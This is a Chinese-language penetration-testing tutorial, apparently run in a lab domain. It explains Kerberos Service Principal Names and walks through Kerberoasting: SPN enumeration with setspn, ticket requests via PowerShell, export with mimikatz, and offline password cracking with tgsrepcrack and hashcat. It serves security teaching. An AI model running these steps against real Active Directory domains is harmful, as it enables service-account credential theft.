SPN定义

SPN(Service Principal Name)是Kerberos身份验证中用于标识特定服务实例(如HTTP、SMB、MySQL)的唯一名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。

SPN作用

举例:

  1. 当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录
  2. 当找到该SPN记录后,用户会再次与KDC通信,将TGT和要访问的SPN发送给KDC
  3. KDC中的TGS服务对TGT进行解密,确认无误后,由TGS将一张允许访问该SPN所对应的服务的 ST服务票据 和 该SPN所对应的服务的地址 发送给用户,用户使用该票据即可访问MySQL服务

在渗透测试中,SPN通常用于服务发现Kerberoasting攻击的第一步。通过SPN扫描,渗透测试人员可以识别网络中正在运行的重要服务,并利用Kerberoasting攻击获取凭据。

注册SPN

类型

SPN分为两种类型:

  1. 一种是注册在活动目录的机器帐户(Computers)下,这种情况通常适用于服务以本地系统或网络服务权限运行的情况。这样注册的 SPN 会与计算机帐户相关联。默认普通机器账号默认有权注册SPN。
  2. 一种是注册在活动目录的域用户帐户(Users)下,这种情况通常适用于服务以域用户权限运行的情况。这样注册的 SPN 会与特定的域用户帐户相关联。普通域用户账号默认无权注册SPN。

Kerberoasting攻击针对第2类,因为域用户帐户(Users)的密码有价值,而机器帐户(Computers)的密码无法用于远程连接,所以无太大价值。

普通机器账户

setspn -A MSSQLSvc/DESKTOP-9CAT508.org.gm7 DESKTOP-9CAT508

image-20240306上午100818841

普通域用户账号

setspn -A MSSQL2Svc/DESKTOP-9CAT508.org.gm7 org.gm7\d4m1ts

image-20240306上午101533721

默认无权限,这种情况下如果还是想要注册的话,需要给账户增加读写SPN的权限,操作如下。

image-20240306上午102532354

image-20240306上午102655198

再次尝试注册即可成功。

image-20240306上午102837845

SPN服务发现与Kerberoasting

Kerberoasting简单来说就是暴破ST,因为ST是由服务的hash进行加密的,所以也是可以破解的;

因此Kerberoasting流程简单描述如下:通过SPN找到关键服务,再通过请求KDC的TGS拿到ST,最后对ST进行暴破

SPN服务发现

setspn -Q */*                # 查看当前域内所有的SPN
setspn -T org.gm7 -Q */*    # 指定域查询SPN
setspn -L d4m1ts            # 查找指定用户的SPN

image-20240306上午103826634

请求TGS

使用powershell请求,获取ST票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQL2Svc/DESKTOP-9CAT508.org.gm7"

image-20240306上午104028278

导出ST

使用 mimikatz

mimikatz "kerberos::list /export" "exit"

image-20240306上午105023110

暴破ST

使用 kerberoast 中的脚本破解

./tgsrepcrack.py password.txt 1-40a10000-d4m1ts@MSSQL2Svc\~DESKTOP-9CAT508.org.gm7-ORG.GM7.kirbi

image-20240306上午105145342

也可以用kirbi2john先转换为能够被hashcat识别的格式再用hashcat暴破

./kirbi2john.py 1-40a10000-d4m1ts@MSSQL2Svc\~DESKTOP-9CAT508.org.gm7-ORG.GM7.kirbi | tee hash.txt
hashcat -m 13100 hash.txt password.txt -o found.txt --force

参考

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2024-03-06 11:19:25

results matching ""

    No results matching ""